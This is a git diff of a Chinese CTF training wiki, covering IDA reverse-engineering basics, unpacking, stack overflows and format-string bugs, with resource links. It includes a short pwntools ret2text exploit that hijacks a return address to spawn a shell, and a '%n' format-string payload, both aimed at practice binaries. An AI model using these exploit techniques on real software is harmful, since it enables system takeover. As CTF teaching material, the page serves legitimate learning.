+按`Ctrl+F`后输入想要检索的字符可以快速搜索字符串 + +![](https://cdn.xyxsw.site/image-20220809153408536.png) + +### 0x0a 其他界面-Functions + +罗列了程序中用到的所有函数,包括底层调用的库的函数 + +其中一般来说`main`是程序的主要函数 + +![](https://cdn.xyxsw.site/image-20220809151328885.png) + +### 0x0b 其他界面-Output + +程序的输出信息都会展示在这里 + +其中包括插件的加载信息、插件/脚本运行时的输出等 + +另外还可以直接在下面输入 python 语句,方便在 ida 使用过程中简单的数据处理 + +![](https://cdn.xyxsw.site/image-20220809151536894.png) + +### 0x0c 其他界面 - 导航栏 + +一个二进制文件包括不同的区块,这里显示程序的不同类型数据,不同的颜色代表二进制文件中不同的块 + +![](https://cdn.xyxsw.site/image-20220809151815243.png) + +### 0x0d 常用快捷键 + +> 边用边记,多打打就会记住了! +> +> 只记录了部分 + +- `;` 为当前指令添加注释 +- `/` 在伪代码中添加注释 +- `g` 跳转到任意地址 +- `Esc` 返回到跳转前的位置 +- `n` 定义或修改名称,常用来修改函数和变量的名字 +- `A` 按照 ASCII 显示数据 +- `D` 分别按字节、字、双字来显示数据 +- `F5`反编译汇编代码,得到 C 伪代码 +- `Shift+F12` 搜索程序中的字符串 + +- `Alt+t` 搜索程序中的指令 +- `Ctrl+x` 查看变量和函数的引用 +- `Y` 修改变量/函数类型 +- `F2`快速下断点 + +### 0x0e 常用插件 + +> 具体安装和使用不在此展开了 + +- [Find Crypt](https://github.com/polymorf/findcrypt-yara) -- 寻找常用加密算法中的常数(需要安装 [yara-python](https://github.com/VirusTotal/yara-python)) +- [Keypatch](https://github.com/keystone-engine/keypatch) -- 基于 Keystone 的 Patch 二进制文件插件 +- [LazyIDA: Make your IDA Lazy!](https://github.com/P4nda0s/LazyIDA) -- 快速 Dump 内存数据 +- [Finger](https://github.com/aliyunav/Finger) -- 函数签名识别插件 +- [D810](https://gitlab.com/eshard/d810) -- 去混淆插件 + +## 0x10 IDA Python + +IDA 提供可与其交互的 IDA Python 接口,可以使用 Python 做很多的辅助操作 + +![](https://cdn.xyxsw.site/image-20220809154742462.png) + +可以参考这篇文章了解常用的接口 + +[IDA Python 常用函数 | 4nsw3r's Blog](https://4nsw3r.top/2022/02/11/IDA%20Python%20%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0/) + +## 0x11 IDA 动态调试 + +> 暂时只对 Windows 和 Linux 下的文件调试做介绍,Mac 和 Android 下的文件调试有待读者后续探索 + +### 调试 Windows 下的文件 + +可以先在汇编代码或伪代码界面下断点,然后`F9`选择调试器,这里直接选`Local Windows Debugger` + +![](https://cdn.xyxsw.site/image-20220809160044665.png) + +之后就可以用 F7(单步不跳过执行)/F8(单步跳过执行)/F9(继续执行,遇到断点停止) 进行调试 + +![](https://cdn.xyxsw.site/image-20220809163138453.png) + +### 调试 Linux 下的文件 + +可以先在汇编代码或伪代码界面下断点 + +![](https://cdn.xyxsw.site/image-20220809155352920.png) + +由于 Linux 下文件调试比较特殊,需要远程起一个服务器运行服务端,这里可以使用**Vmware**或者**WSL2(Windows subsystem Linux)**进行调试 + +因篇幅有限,在这里直接贴篇链接供大家学习并选择调试方式 + +- Vmware 调试 [IDA 动态调试 ELF](https://bbs.kanxue.com/thread-247830.htm) +- WSL 调试(安装好 WSL 直接运行 ida dbgsrv 目录下 linux_server 文件即可以) + +后面是一样的调试步骤 + +## 0x12 一个简单程序的分析 + +### 源代码 + +```c +#include +#include + +void change(char* str) { + for (int i = 0; i < strlen(str) ; i++) { + str[i] = str[i] - 1; + } +} + + int check(char* str){ + return strcmp(str, "ek`fzHC@^0r^m/s^b/lo0dw2c|") == 0; + } + +int main() { + char input[100]; + scanf("%100s", input); + change(input); + if (check(input)) { + printf("You are right\n"); + } + else { + printf("You are wrong\n"); + } +} +``` + +#### 分析历程 + +##### 将程序拖入 IDA + +![](https://cdn.xyxsw.site/image-20220809173439491.png) + +![](https://cdn.xyxsw.site/image-20220809173548998.png) + +##### F5 分析查看伪代码 + +![](https://cdn.xyxsw.site/image-20220809173627488.png) + +发现有`change`和`check`的自定义函数 + +按`n`修改一下变量名 + +![](https://cdn.xyxsw.site/image-20220809174001600.png) + +![](https://cdn.xyxsw.site/image-20220809174015603.png) + +分别进入里面查看函数逻辑 + +##### 查看函数逻辑 + +change 函数 + +![](https://cdn.xyxsw.site/image-20220809174035800.png) + +check 函数 + +![](https://cdn.xyxsw.site/image-20220809174058831.png) + +###### 静态分析逻辑 + +change 函数是对输入字符串的每一个字节进行修改 + +然后在 check 函数进行比较 + +###### 动态分析逻辑 + +在 change 函数进入前下好断点 + +随意的进行一些输入 + +![](https://cdn.xyxsw.site/image-20220809174913326.png) + +然后断下来 + +![](https://cdn.xyxsw.site/image-20220809174957987.png) + +F7 进入函数进行单步不跳过调试 + +![](https://cdn.xyxsw.site/image-20220809175413448.png) + +遇到类似`strlen`等库函数可以 F8 单步调试跳过 + +![](https://cdn.xyxsw.site/image-20220809175459668.png) + +可以发现输入字符串的每一个字节的 Ascii 值都减小了 1 + +##### 脚本编写 + +试试写一个脚本解出这道题吧! diff --git a/6.计算机安全/6.2.2软件破解、软件加固.md b/6.计算机安全/6.2.2软件破解、软件加固.md index 7631692..95c3fb7 100644 --- a/6.计算机安全/6.2.2软件破解、软件加固.md +++ b/6.计算机安全/6.2.2软件破解、软件加固.md @@ -24,30 +24,30 @@ upx -1 文件名 upx -d 文件名 ``` -### ESP 定律脱壳法(本节来源于 ctf-wiki:[https://ctf-wiki.org/reverse/windows/unpack/esp/](https://ctf-wiki.org/reverse/windows/unpack/esp/)) +### ESP 定律脱壳法(本节来源于 ctf-wiki:[https://ctf-wiki.org/reverse/platform/windows/unpack/esp/](https://ctf-wiki.org/reverse/platform/windows/unpack/esp/)) -ESP 定律法是脱壳的利器, 是应用频率最高的脱壳方法之一. +ESP 定律法是脱壳的利器,是应用频率最高的脱壳方法之一。 #### 要点 ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP. -由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用 `pushad`, 在解压结束后, 会将之前的寄存器值出栈, 如使用 `popad`. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的 OEP 位置. +由于在程序自解密或者自解压过程中,不少壳会先将当前寄存器状态压栈,如使用 `pushad`, 在解压结束后,会将之前的寄存器值出栈,如使用 `popad`. 因此在寄存器出栈时,往往程序代码被恢复,此时硬件断点触发。然后在程序当前位置,只需要少许单步操作,就很容易到达正确的 OEP 位置。 1. 程序刚载入开始 pushad/pushfd 2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点 -3. 运行程序, 触发断点 +3. 运行程序,触发断点 4. 删除硬件断点开始分析 #### 示例 -示例程序可以点击此处下载: [2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/2_esp.zip) +示例程序可以点击此处下载:[2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/2_esp.zip) -还是上一篇的示例, 入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态, 我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色, 也即值发生了改变. +还是上一篇的示例,入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态,我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色,也即值发生了改变。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJdWqlHmhlvB471dIGT4GEh.png) +![](https://cdn.xyxsw.site/boxcnJdWqlHmhlvB471dIGT4GEh.png) -我们鼠标右击 `ESP` 寄存器的值, 也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后, 按下 `F9` 运行程序, 程序会在触发断点时断下. 如图来到了 `0040D3B0` 的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述. +我们鼠标右击 `ESP` 寄存器的值,也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后,按下 `F9` 运行程序,程序会在触发断点时断下。如图来到了 `0040D3B0` 的位置。这里就是上一篇我们单步跟踪时到达的位置,剩余的就不再赘述。 ## 软件加密常用算法 diff --git a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md new file mode 100644 index 0000000..1c1b834 --- /dev/null +++ b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md @@ -0,0 +1,219 @@ +# 漏洞挖掘、漏洞利用 + +## 常见二进制安全漏洞 + +### 栈溢出 + +#### 栈介绍 + +栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 + +![](https://cdn.xyxsw.site/stack.png) + +高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。 + +#### 栈溢出基本原理 + +以最基本的 C 语言为例,C 语言的函数局部变量就保存在栈中。 + +```c +#include +int main() +{ + char ch[8]={0}; + char ch2[8]={0}; + printf("ch: %p, ch2: %p",ch,ch2); +} +``` + +对于如上程序,运行后可以发现`ch`和`a`的地址相差不大 (`a`和`ch`的顺序不一定固定为`a`在前`ch`在后): + +![](https://cdn.xyxsw.site/out1.PNG) + +可以发现`ch`和`ch2`刚好差`8`个字节,也就是`ch`的长度。 +`ch`只有`8`个字节,那么如果我们向`ch`中写入超过`8`个字节的数据呢?很显然,会从`ch`处发生溢出,写入到`ch2`的空间中,覆盖`ch2`的内容。 + +```c +#include +int main() +{ + char ch[8]={0}; + char ch2[8]={0}; + scanf("%s",ch); + printf("ch: %s, ch2: %s",ch,ch2); +} +``` + +![](https://cdn.xyxsw.site/out2.PNG) + +这就是栈溢出的基本原理。 + +#### 栈溢出的基本利用 + +##### 0x0 + +对于以上程序,“栈溢出”带来的后果仅仅是修改了局部变量的值,会造成一些程序的逻辑错误: + +```c +#include +int main() +{ + char input[20]; + char password[]="vidar-team"; + scanf("%s",input); + if(!strcmp(password,input)) + { + printf("login success!"); + } + else + { + printf("password is wrong!"); + } + return 0; +} +``` + +如上代码所示,如果我们想办法通过向 input 中输入过长的字符串覆盖掉 password 的内容,我们就可以实现任意 password“登录”。 + +那么能不能有一些更劲爆的手段呢? + +> 以下内容涉及 x86 汇编语言知识 + +在 C 语言编译之后,通常会产生汇编语言,汇编语言的字节码可以直接在物理 CPU 上运行。而 C 语言函数调用会被编译为如下形式: + +```c +#include +int add(int a,int b) +{ + return a+b; +} +int main() +{ + int a,b; + scanf("%d %d",&a,&b); + printf("%d",add(a,b)); + return 0; +} +``` + +```asm +add: +endbr64 +push rbp +mov rbp, rsp +mov [rbp+var_4], edi +mov [rbp+var_8], esi +mov edx, [rbp+var_4] +mov eax, [rbp+var_8] +add eax, edx +pop rbp +retn + +main: +endbr64 +push rbp +mov rbp, rsp +sub rsp, 10h +mov rax, fs:28h +mov [rbp+var_8], rax +xor eax, eax +lea rdx, [rbp+var_C] +lea rax, [rbp+var_10] +mov rsi, rax +lea rax, format ; "%d %d" +mov rdi, rax ; format +mov eax, 0 +call _scanf +mov edx, [rbp+var_C] +mov eax, [rbp+var_10] +mov esi, edx +mov edi, eax +call add +mov esi, eax +lea rax, aD ; "%d" +mov rdi, rax ; format +mov eax, 0 +call _printf +mov eax, 0 +leave +retn +``` + +可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢?其实`call`指令相当于`push next_loc;jmp loc`,通过将`call`指令下一行汇编的地址压栈的方式,等到函数调用完再取回,从而从`call`指令的下一行继续执行。由于栈地址从高向低生长,新调用的函数的局部变量生成在返回地址的上方(低地址处),因此如果我们在新函数中使用栈溢出来修改这一返回地址,如果将返回地址修改为某个函数的地址,就可以执行任意函数: + +![](https://cdn.xyxsw.site/stack2.png) + +> 注意该图中,使用 32 位的寄存器(EBP、ESP、EIP),实际原理一样的,并且上方为高地址,下方为低地址 + +在此给出一道题作为例子:[ret2tetx](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text) + +32 位的程序,我们使用 IDA 来打开该题目,查看反编译代码,可以发现有非常明显的栈溢出: + +![](https://cdn.xyxsw.site/main.png) + +由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度,我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中,存在另外一个函数`secure`,在该函数中有一个后门`system("/bin/sh")`,如果我们想办法执行该后门,就可以拿到目标机器的`shell`,从而控制目标计算机。 + +由于我们需要将返回地址在标准输入中输入待测程序,而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中,所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。 +首先查看后门的地址: + +![](https://cdn.xyxsw.site/backdoor.png) + +接着计算溢出长度,这里我们使用 gdb 来调试程序,图中的 gdb 安装了 pwndbg 插件,该插件在 pwn 调试时比较好用: + +![](https://cdn.xyxsw.site/gdb.png) + +将断点打在`gets`函数前后,可以看到此时`esp`值为`0xffffcd80`,`ebp`值为`0xffffce08`,在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`,此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`,即`s`相对于`ebp`的偏移为`0x6C`,由于在`main`函数的开头有`push ebp`的操作,所以将`0x6C`再加`4`,即可到达返回地址处: + +![](https://cdn.xyxsw.site/s.png) + +```python +from pwn import * +sh=process("./pwn") +exp=b'a'*(0x6c+4) +exp+=p32(0x0804863A) # 4 字节的返回地址 +sh.sendline(exp) +sh.interactive() # 切换为手动交互模式 +``` + +![](https://cdn.xyxsw.site/shell.png) + +##### 0x1 + +通过上面的学习,我们已经可以知道执行任意函数的办法,但很多情况下,对于攻击者来说,程序中并没有可用的后门函数来达到攻击的目的,因此我们需要一种手段,来让程序执行任意代码(任意汇编代码),这样就可以最高效地进行攻击。ROP(Return Oriented Programming)面向返回编程就是这样的一种技术,在栈溢出的基础上,通过在程序中寻找以 retn 结尾的小片段(gadgets),来改变某些寄存器、栈变量等的值,再结合 Linux 下的系统调用,我们就可以执行需要的任意代码。 + +ROP 网上已有非常系统的资料,在这里不做过多的叙述,可参考 ctf-wiki: [ret2shellcode](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode) + +### 格式化字符串 + +格式化字符串的利用思路来源于`printf`函数中的`%n`format 标签,该标签的作用和`%s`、`%d`等不同,是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题: + +```c +printf("abcd%n",&num); +//输出abcd,并且num的值为4 +``` + +但如果在编写代码时忘记 format 字符串: + +```c +printf(something_want_print); +``` + +此时若攻击者可以自定义该字符串,就可以使用`%d`、`%p`、`%s`等打印栈上数据,或者`%n`来覆写栈上的数据,如果覆写了返回地址,就可以实现任意代码执行。 + +```c +char ch[20]; +scanf("%s",ch);// 输入 %d%n%n%n%n%n +printf(ch); +``` + +## 漏洞挖掘技术 + +### 代码审计 + +代码审计分人工代码审计和自动化代码审计,人工审计由安全研究人员查看代码来发现漏洞,需要安全研究人员很高的研究经验,投入大量的人力。自动化代码审计目前的发展进度迅速,如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目 [Kunlun-M](https://github.com/LoRexxar/Kunlun-M) + +以及字节跳动公司开源的 [appshark](https://github.com/bytedance/appshark) + +### fuzz + +fuzz 是一种自动化测试手段,通过一定的算法生成一定规律的随机的数据输入到程序中,如果程序发生崩溃等异常,即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。 diff --git a/6.计算机安全/6.2二进制安全.md b/6.计算机安全/6.2二进制安全.md index ca9458c..3309fbe 100644 --- a/6.计算机安全/6.2二进制安全.md +++ b/6.计算机安全/6.2二进制安全.md @@ -11,9 +11,12 @@ reverse 主要研究软件破解,软件加固,计算机病毒等。 现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。 ## 入门材料 + > HGAME Mini 2022 Reverse Pwn 入门材料 -> Reverse:https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649 -> Pwn:https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf +> +> Reverse:[逆向入门指南](https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649) +> +> Pwn:[PWN 入门指北](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf) ## 学习二进制安全需要具备哪些基础? @@ -23,6 +26,10 @@ reverse 主要研究软件破解,软件加固,计算机病毒等。 ## 为了打好基础,我应该怎么学? +::: tip 📥 +《C Primer Plus》(第六版中文版)(216MB)附件下载 +::: + - C 语言推荐阅读《C Primer Plus》,C 语言领域的圣经。二进制对 C 语言的最低要求:熟练地使用链表完成约瑟夫环问题。 - x86 汇编语言推荐阅读王爽的《汇编语言》,在本文编辑时已经出到了第四版。x86 是目前最常用的 CPU 架构之一,目前基本上所有的电脑,服务器都采用的 x86 架构。因此在初期的二进制学习中,学习 x86 汇编语言是没有什么问题的。x86 汇编语言历史比较悠久,从 Intel 公司的第一代处理器 8086 采用的 16 位 x86 汇编语言开始,已经逐步发展到现在的 32 位/64 位。王爽的《汇编语言》讲的就是 16 位 x86 汇编语言。可能有人会问,现在学 16 位汇编语言还有什么用吗?其实 x86 的基础命令,对汇编语言来说只是寄存器的命名有所不同,寄存器的宽度也由 16 位升到 32 位再到 64 位而已。比如在 16 位汇编中,加法命令是 `add ax,bx`(意思是 ax=ax+bx,ax 和 bx 都是 16bit 的寄存器),而到了 32 位汇编中是 `add eax,ebx`,64 位汇编中是 `add rax,rbx`。虽然这些语句翻译成字节码是有区别的,但对于汇编语言来说差别并不大,因此由 16 位汇编入门,简单易上手,后面扩展到 32/64 位也很容易,是非常合适的。 - Python 的基本语法,Python 之所以没有作为“基础”,是因为在二进制安全中,Python 由于其简单,开发周期短的特性,往往充当一个锦上添花的工具的角色,比如在做逆向工程领域的研究时,使用 Python 来编写一些加解密脚本要比使用 C 语言快速。感受一下: diff --git a/6.计算机安全/6.3密码学.md b/6.计算机安全/6.3密码学.md index 92cd764..886f6c8 100644 --- a/6.计算机安全/6.3密码学.md +++ b/6.计算机安全/6.3密码学.md @@ -1,8 +1,8 @@ -## 什么是密码学 +# 什么是密码学 -> 本文来自HGAME Mini 2022 Crypto 入门材料。 +> 本文来自 HGAME Mini 2022 Crypto 入门材料。 -密码学分为密码编码学和密码分析学,前者寻求**提供信息机密性、完整性和非否认性等的方法**,后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF比赛中的密码学题目偏向于密码分析。 +密码学分为密码编码学和密码分析学,前者寻求**提供信息机密性、完整性和非否认性等的方法**,后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF 比赛中的密码学题目偏向于密码分析。 ## 如何学习密码学 @@ -16,7 +16,7 @@ ### 编程基础 -你可能需要了解一些python的基础语法。还有一些简单的算法。 +你可能需要了解一些 python 的基础语法。还有一些简单的算法。 ### 一些基础的密码系统 @@ -40,15 +40,15 @@ 还有近几年多起来的格密码 -主要看一些书籍,或者在ctf-wiki.org学习。学习的过程中尽可能的多写一些demo,既锻炼了编程能力也可以更好的了解一些密码系统。 +主要看一些书籍,或者在 ctf-wiki.org 学习。学习的过程中尽可能的多写一些 demo,既锻炼了编程能力也可以更好的了解一些密码系统。 有能力的同学可以先看一下这位教授的关于密码学的课程 [https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg](https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg) ## 工具 -一些python的库: +一些 python 的库: -- pycryptodome(就是Crypto库) +- pycryptodome(就是 Crypto 库) [https://pycryptodome.readthedocs.io/en/latest/](https://pycryptodome.readthedocs.io/en/latest/) diff --git a/6.计算机安全/6.4安全杂项.md b/6.计算机安全/6.4安全杂项.md index 311c511..70cc394 100644 --- a/6.计算机安全/6.4安全杂项.md +++ b/6.计算机安全/6.4安全杂项.md @@ -1,12 +1,12 @@ -# MISC入门指南 +# MISC 入门指南 -> 本文来自HGAME Mini 2022 Misc 入门材料 +> 本文来自 HGAME Mini 2022 Misc 入门材料 -## MISC简单介绍 +## MISC 简单介绍 -Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它是一个庞大而又有趣的分支,几乎会涉及所有分类的基础,包括内容安全、安全运维、网络编程、AI安全等不属于传统分类的知识,作为发散思维、拓展自己的一个知识面而言也是挺不错的方向。 +Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它是一个庞大而又有趣的分支,几乎会涉及所有分类的基础,包括内容安全、安全运维、网络编程、AI 安全等不属于传统分类的知识,作为发散思维、拓展自己的一个知识面而言也是挺不错的方向。 -**MISC大概有这些方面内容**: +**MISC 大概有这些方面内容**: - 信息收集 - 编码转换 @@ -25,7 +25,7 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 简单一句话:多问搜索引擎,搜就完事了! - 目标 Web 网页、地理位置、相关组织 -- Google 基本搜索与挖掘技巧 (Google hacking) +- Google 基本搜索与挖掘技巧(Google hacking) - 网站、域名、IP:whois 等 - 通过搜索引擎查找特定安全漏洞或私密信息 - 组织结构和人员、个人资料、电话、电子邮件 @@ -44,15 +44,15 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 - 计算机常用编码 - Ascii - Unicode - - HTML实体编码 + - HTML 实体编码 - 其他编码 - 二维码 - 条形码 - Js加密/Jother/JSFuck - - URL编码 - - Hex编码 - - Base大家族 - - MD5、SHA1等类似加密型 + - URL 编码 + - Hex 编码 + - Base 大家族 + - MD5、SHA1 等类似加密型 - 与佛论禅 - 兽音译者 - ... @@ -60,18 +60,18 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 ### 隐写 - 图片隐写 - - jpg隐写 + - jpg 隐写 - Steghide - Stegdetect - Slienteye - Jhps - - png隐写 + - png 隐写 - Stepsolve - Stepic - - gif隐写 + - gif 隐写 - 时间 - 空间 - - bmp隐写 + - bmp 隐写 - LSB - 音频隐写 - 频谱 @@ -102,7 +102,6 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 - Vmdk - dsfok-tools - ### 取证 - 图片取证 @@ -119,7 +118,7 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 - Wireshark - Tshark - Pacpfix -- 内存取证 +- 内存取证 - Vol - 磁盘文件取证 - Ftx @@ -139,8 +138,4 @@ Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它 - binwalk - sleuthkit - - - - `VIDAR{Misc_1s_e4sy_t0_st4rt!!}` diff --git a/6.计算机安全/6.5学习资料推荐.md b/6.计算机安全/6.5学习资料推荐.md new file mode 100644 index 0000000..98c041f --- /dev/null +++ b/6.计算机安全/6.5学习资料推荐.md @@ -0,0 +1,46 @@ +# 学习资料推荐 + +> 计算机基础是非常重要的,协会一直推荐打好基础,勿在浮沙筑高台。 +> +> 以下是一些 CTF 领域写的不错的入门文章和平台,也可以根据文章内容进行学习~ + +## 学习网站: + +学习其实最高效的可能还是通过打比赛,实操,看大牛博客来学习。但是感觉对于新人而言打好基础和入门是最重要的,很多时候入门了,发现感兴趣了,一切就顺利起来了。因此以下就先放一些容易使人入门的网站。 + +- [Hello CTF](https://ctf.tj.cn/) +- [简介 - CTF Wiki (ctf-wiki.org)](https://ctf-wiki.org/) +- [CTFHub](https://www.ctfhub.com/#/index) + +## 靶场推荐: + +- [主页 | NSSCTF](https://www.nssctf.cn/index) +- [BUUCTF 在线评测 (buuoj.cn)](https://buuoj.cn/) +- [攻防世界 (xctf.org.cn)](https://adworld.xctf.org.cn) +- [Hack The Box: Hacking Training For The Best | Individuals & Companies](https://www.hackthebox.com/) +- [CryptoHack – A fun, free platform for learning cryptography](https://cryptohack.org/) + +## 博客推荐: + +> 由于很多师傅都会在自己的博客发布自己的研究成果,所以这里有一些推荐阅读的博客~ + +综合类博客: + +> 主题比较宽泛,大多是计算机技术相关 + +- +- +- +- + +安全类博客: + +> 主要是一些安全研究成果或者 CTF 竞赛题解,主要都是安全相关内容 + +- +- +- +- +- +- +- diff --git a/6.计算机安全/6.计算机安全.md b/6.计算机安全/6.计算机安全.md index c375410..24d3e0a 100644 --- a/6.计算机安全/6.计算机安全.md +++ b/6.计算机安全/6.计算机安全.md @@ -1,21 +1,74 @@ # 6.计算机安全 -> 本模块由 [Vidar-Team](https://vidar.club) 信息安全协会成员倾情奉献,Vidar-Team 成立于2008年9月,其名 Vidar 来源于北欧神话"诸神黄昏"中幸存于难、带领人类重建了家园的神 Víðarr,是由杭州电子科技大学一群热爱信息安全的小伙伴自发成立的技术型团体 ,作为高校战队活跃于各大ctf赛事。 -> -> Vidar-Team 2023 招新 QQ 群: 861507440(仅向校内开放),欢迎对安全感兴趣的小伙伴加入我们! +> 本模块由 [Vidar-Team](https://vidar.club) 信息安全协会成员倾情奉献。 +> +> Vidar-Team 成立于 2008 年 9 月,其名 Vidar 来源于北欧神话"诸神黄昏"中幸存于难、带领人类重建了家园的神 Víðarr,是由杭州电子科技大学一群热爱信息安全的小伙伴自发成立的技术型团体,作为高校战队活跃于各大 ctf 赛事。 +> +> 2023 招新 QQ 群:861507440(仅向校内开放),欢迎对技术感兴趣的小伙伴加入我们! +**招新方向汇总:** -计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全(Web)和二进制安全(Bin,包含Pwn和Reverse)两大类。现有的 CTF 信息安全竞赛里面还会看到密码学(Crypto)和安全杂项(Misc),以及最近几年新兴的 IoT 安全,人工智能安全等方向。本系列文章会按照CTF的5个方向,Web、Pwn、Reverse、Crypto、Misc来进行介绍。目前引入了HGAME Mini2022我们编写给新生的入门材料,在今年的10月份和寒假,我们也会分别举办HGAME Mini和HGAME这两场CTF,来帮助新生更好的入门安全。 +- Web(网络安全) + - 渗透(模拟黑客攻击,找寻漏洞,修补、加固系统) + - 开发(网络的搭建和维护,网站开发) + - 运维(各类服务器的运行维护,路由佬) +- Bin(二进制安全) + - Pwn(关注软硬件的底层,对操作系统与应用程序本身进行攻击,如大名鼎鼎的永恒之蓝) + - Re(逆向工程,研究领域包括游戏安全、病毒分析、软件加密/解密、自动化程序分析及测试等) +- 综合 + - Misc 杂项(流量分析,电子取证,大数据统计等,覆盖面比较广) + - Crypto 密码学(与加密系统相关,从已加密的信息中破译明文) + - 无线安全(RFID,无线遥控,ADS-B,BLE,ZigBee,移动通信,卫星通信) + - Iot 安全 (从软件和硬件出发,多方向探索物联网设备) + - 人工智能安全 (使用人工智能技术赋能安全,模型本身安全问题) + - 美工(负责协会相关的设计,如比赛海报与 LOGO,会服、钥匙扣等等各类周边的制作) + - 计算机图形学(游戏开发,游戏引擎开发) -下面是一些CTF领域写的不错的入门文章和平台,也可以根据文章内容进行学习~ +**Vidar-Team 是技术类兴趣社团,为技术而生而不是为 CTF 而生**。 -### 入门文章 -CTF-Wiki:https://ctf-wiki.org/ -CTF快速入门手册:https://github.com/ProbiusOfficial/CTF-QuickStart +## 什么是安全 +计算机安全,通俗的讲就是黑客,主要研究计算机领域的攻防技术,主要包括网络安全(Web)和二进制安全(Bin,包含 Pwn 和 Reverse)两大类。现有的 CTF 信息安全竞赛里面还会看到密码学(Crypto)和安全杂项(Misc),以及最近几年新兴的 IoT 安全,人工智能安全等方向。本系列文章会按照 CTF 的 5 个方向,Web、Pwn、Reverse、Crypto、Misc 来进行介绍。目前引入了 HGAME Mini2022 我们编写给新生的入门材料,在今年的 10 月份和寒假,我们也会分别举办 HGAME Mini 和 HGAME 这两场 CTF,来帮助新生更好的入门安全。 -### 刷题平台 -攻防世界: https://adworld.xctf.org.cn/challenges/list -Bugku: https://ctf.bugku.com/ -ctfhub: https://www.ctfhub.com/#/index -NSSCTF: https://www.ctfer.vip/index +## CTF 竞赛形式 + +### 解题赛 + +你需要做的事情很简单,利用你的安全知识去找出 flag。 + +flag 可能是被加密的,你得想办法破解它; + +可能放在对方服务器上,你得把服务器打下来; + +甚至可能是出题人设计了一个不可能完成的小游戏,你得写外挂通关他... + +虽然要做的事情是一样的,题目是千变万化的,做题手段是不受限制的。所幸的是大家并不是孤军奋战,一个人一般只需要负责一个方向即可。 + +### 攻防赛 + +又叫 AWD,是攻防结合的形式,在攻击其他选手的服务器的同时,你需要找出自己的服务器上的漏洞并在其他选手发现之前修复它。 + +比起解题赛或许做不出题很坐牢,AWD 非常的紧张刺激。 + +### 适合我吗 + +首先 CTF 适合绝大多数具有自主学习能力并对其感兴趣的人,他并不挑基础,大部分人都是在大学阶段起步的,不像 ACM,没有 OI 基础在杭电 ACM 真的相当难混。 + +#### 劝学 + +- 如果你曾经梦想过成为一名黑客,穿梭于网络世界,揭露隐藏的秘密,那么现在就是实现梦想的时候。 +- 如果你想追求最为纯粹的最为极致的计算机技术,不想被平庸的条条框框所束缚,那么是时候挣脱他们了,在这里不限手段不限方向。 +- 如果你对于普通的软件开发感到厌倦或者不满足,那么现在就是做出转变的时候。 +- 